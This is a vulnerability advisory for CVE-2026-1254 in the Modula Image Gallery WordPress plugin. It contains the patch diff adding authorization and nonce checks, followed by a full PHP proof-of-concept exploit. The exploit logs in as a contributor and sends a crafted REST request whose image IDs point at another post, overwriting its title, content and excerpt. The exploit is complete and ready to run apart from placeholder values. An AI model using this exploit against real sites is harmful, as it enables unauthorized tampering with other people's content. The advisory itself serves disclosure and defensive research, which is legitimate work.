CVE-2026-1254: Modula Image Gallery – Photo Grid & Video Gallery <= 2.13.6 – Missing Authorization to Authenticated (Contributor+) Arbitrary Post/Page Editing (modula-best-grid-gallery)

--- a/modula-best-grid-gallery/Modula.php
+++ b/modula-best-grid-gallery/Modula.php
@@ -4,7 +4,7 @@
 * Plugin URI:               https://wp-modula.com/
 * Description:              Modula is the most powerful, user-friendly WordPress gallery plugin. Add galleries, masonry grids and more in a few clicks.
 * Author:                   WPChill
-* Version:                  2.13.6
+* Version:                  2.13.7
 * Author URI:               https://www.wpchill.com/
 * License:                  GPLv3 or later
 * License URI:              http://www.gnu.org/licenses/gpl-3.0.html
@@ -47,7 +47,7 @@
  * @since    2.0.2
  */

-define( 'MODULA_LITE_VERSION', '2.13.6' );
+define( 'MODULA_LITE_VERSION', '2.13.7' );
 define( 'MODULA_PATH', plugin_dir_path( __FILE__ ) );
 define( 'MODULA_URL', plugin_dir_url( __FILE__ ) );
 defined( 'MODULA_PRO_STORE_URL' ) || define( 'MODULA_PRO_STORE_URL', 'https://wp-modula.com' );
--- a/modula-best-grid-gallery/includes/admin/class-modula-cpt.php
+++ b/modula-best-grid-gallery/includes/admin/class-modula-cpt.php
@@ -224,12 +224,39 @@

 		$modula_images = $this->sanitize_images( $value );

-		$this->batch_update_images( $modula_images, $obj->ID );
+		// Validate and filter out invalid attachment IDs before processing
+		$valid_images = array();
+		foreach ( $modula_images as $image ) {
+			if ( ! isset( $image['id'] ) || empty( $image['id'] ) ) {
+				continue;
+			}
+
+			$attachment_id = absint( $image['id'] );
+			if ( ! $attachment_id ) {
+				continue;
+			}
+
+			// Security check: Verify the ID is an attachment
+			if ( 'attachment' !== get_post_type( $attachment_id ) ) {
+				continue;
+			}
+
+			// Security check: Verify user has permission to edit this attachment
+			if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
+				continue;
+			}
+
+			$valid_images[] = $image;
+		}

+		// Only update with valid attachments
+		$this->batch_update_images( $valid_images, $obj->ID );
+
+		// Update gallery meta with filtered valid images
 		update_post_meta(
 			$obj->ID,
 			'modula-images',
-			$modula_images
+			$valid_images
 		);
 	}

@@ -252,8 +279,37 @@
 		}

 		// We’ll process in chunks to avoid overly large queries
+		// Additional security: Filter out any invalid attachments that may have slipped through
+		$valid_images = array();
+		foreach ( $images as $image ) {
+			if ( ! isset( $image['id'] ) || empty( $image['id'] ) ) {
+				continue;
+			}
+
+			$attachment_id = absint( $image['id'] );
+			if ( ! $attachment_id ) {
+				continue;
+			}
+
+			// Security check: Verify the ID is an attachment
+			if ( 'attachment' !== get_post_type( $attachment_id ) ) {
+				continue;
+			}
+
+			// Security check: Verify user has permission to edit this attachment
+			if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
+				continue;
+			}
+
+			$valid_images[] = $image;
+		}
+
+		if ( empty( $valid_images ) ) {
+			return;
+		}
+
 		$batch_size = 200;
-		$chunks     = array_chunk( $images, $batch_size );
+		$chunks     = array_chunk( $valid_images, $batch_size );

 		foreach ( $chunks as $chunk ) {
 			$this->process_chunk( $chunk );
@@ -266,14 +322,34 @@
 	private function process_chunk( $images_chunk ) {
 		global $wpdb;

-		// 1) Collect all relevant attachment IDs
+		// 1) Collect and validate all relevant attachment IDs
 		$attachment_ids = array();
+		$valid_images   = array();
+
 		foreach ( $images_chunk as $image ) {
-			if ( ! empty( $image['id'] ) ) {
-				$attachment_ids[] = absint( $image['id'] );
+			if ( ! isset( $image['id'] ) || empty( $image['id'] ) ) {
+				continue;
+			}
+
+			$attachment_id = absint( $image['id'] );
+			if ( ! $attachment_id ) {
+				continue;
+			}
+
+			// Security check: Verify the ID is an attachment
+			if ( 'attachment' !== get_post_type( $attachment_id ) ) {
+				continue;
+			}
+
+			// Security check: Verify user has permission to edit this attachment
+			if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
+				continue;
 			}
+
+			$attachment_ids[] = $attachment_id;
+			$valid_images[]   = $image;
 		}
-		$attachment_ids = array_filter( $attachment_ids );
+
 		$attachment_ids = array_unique( $attachment_ids );

 		if ( empty( $attachment_ids ) ) {
@@ -322,13 +398,23 @@
 		$meta_delete_ids = array();  // We'll delete old alt rows in one go
 		$meta_inserts    = array();  // We'll insert the new alt rows

-		// 4) Loop through images and build the final updates only if needed
-		foreach ( $images_chunk as $image ) {
+		// 4) Loop through valid images and build the final updates only if needed
+		foreach ( $valid_images as $image ) {
 			$attachment_id = isset( $image['id'] ) ? absint( $image['id'] ) : 0;
 			if ( ! $attachment_id ) {
 				continue;
 			}

+			// Additional security check: Verify the ID is still an attachment (defense in depth)
+			if ( 'attachment' !== get_post_type( $attachment_id ) ) {
+				continue;
+			}
+
+			// Additional security check: Verify user still has permission (defense in depth)
+			if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
+				continue;
+			}
+
 			// If no existing post row, skip (don't create new posts!)
 			if ( ! isset( $existing_posts[ $attachment_id ] ) ) {
 				continue;
--- a/modula-best-grid-gallery/includes/class-modula.php
+++ b/modula-best-grid-gallery/includes/class-modula.php
@@ -167,6 +167,7 @@
 		add_filter( 'mce_buttons', array( $this, 'editor_button' ) );
 		add_filter( 'mce_external_plugins', array( $this, 'register_editor_plugin' ) );
 		add_action( 'wp_ajax_modula_shortcode_editor', array( $this, 'modula_shortcode_editor' ) );
+		add_action( 'admin_print_scripts', array( $this, 'add_editor_nonce' ) );

 		// Allow other mime types to be uploaded
 		add_filter( 'upload_mimes', array( $this, 'modula_upload_mime_types' ) );
@@ -542,9 +543,40 @@
 	}

 	/**
+	 * Add nonce for TinyMCE editor plugin
+	 */
+	public function add_editor_nonce() {
+		$screen = get_current_screen();
+		// Only add nonce on post edit screens where TinyMCE is available
+		if ( ! $screen || ! in_array( $screen->base, array( 'post', 'page' ), true ) ) {
+			return;
+		}
+		?>
+		<script type="text/javascript">
+			var modulaEditorNonce = '<?php echo esc_js( wp_create_nonce( 'modula-ajax-save' ) ); ?>';
+		</script>
+		<?php
+	}
+
+	/**
 	 * Display galleries selection
 	 */
 	public function modula_shortcode_editor() {
+		// Check user capability
+		if ( ! current_user_can( 'edit_posts' ) ) {
+			wp_die( esc_html__( 'You do not have sufficient permissions to access this page.', 'modula-best-grid-gallery' ) );
+		}
+
+		// Verify nonce
+		$nonce = '';
+		if ( isset( $_REQUEST['nonce'] ) ) {
+			$nonce = sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) );
+		}
+
+		if ( ! wp_verify_nonce( $nonce, 'modula-ajax-save' ) ) {
+			wp_die( esc_html__( 'Security check failed.', 'modula-best-grid-gallery' ) );
+		}
+
 		$css_path  = MODULA_URL . 'assets/css/admin/edit.css';
 		$admin_url = admin_url();
 		$galleries = Modula_Helper::get_galleries();

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1254 - Modula Image Gallery – Photo Grid & Video Gallery <= 2.13.6 - Missing Authorization to Authenticated (Contributor+) Arbitrary Post/Page Editing

<?php

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';

// Target Post ID to overwrite (must exist)
$target_post_id = 123;
// Gallery Post ID the attacker is allowed to edit (must be a Modula gallery)
$attacker_gallery_id = 456;

// Malicious content to inject into the target post
$malicious_title = 'Hacked Title';
$malicious_excerpt = 'Hacked excerpt.';
$malicious_content = '<p>Hacked content.</p>';

// Step 1: Authenticate with WordPress to get a nonce or REST API authentication cookie
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
)));
$response = curl_exec($ch);

// Step 2: Craft the exploit payload for the REST API update request.
// The modulaImages field contains an array where the 'id' is the target post ID.
// The plugin will incorrectly update the post with this ID.
$rest_url = $target_url . '/wp-json/wp/v2/modula-gallery/' . $attacker_gallery_id;

$payload = json_encode(array(
    'modulaImages' => array(
        array(
            'id' => $target_post_id, // This is the ID of the post to overwrite
            'title' => $malicious_title,
            'description' => $malicious_content,
            'alt' => $malicious_excerpt
        )
    )
));

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'Content-Length: ' . strlen($payload),
    'X-HTTP-Method-Override: PUT'
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    echo "Exploit likely succeeded. Check post ID $target_post_id.";
} else {
    echo "Exploit may have failed. HTTP Code: $http_coden";
    echo "Response: $responsen";
}

curl_close($ch);

?>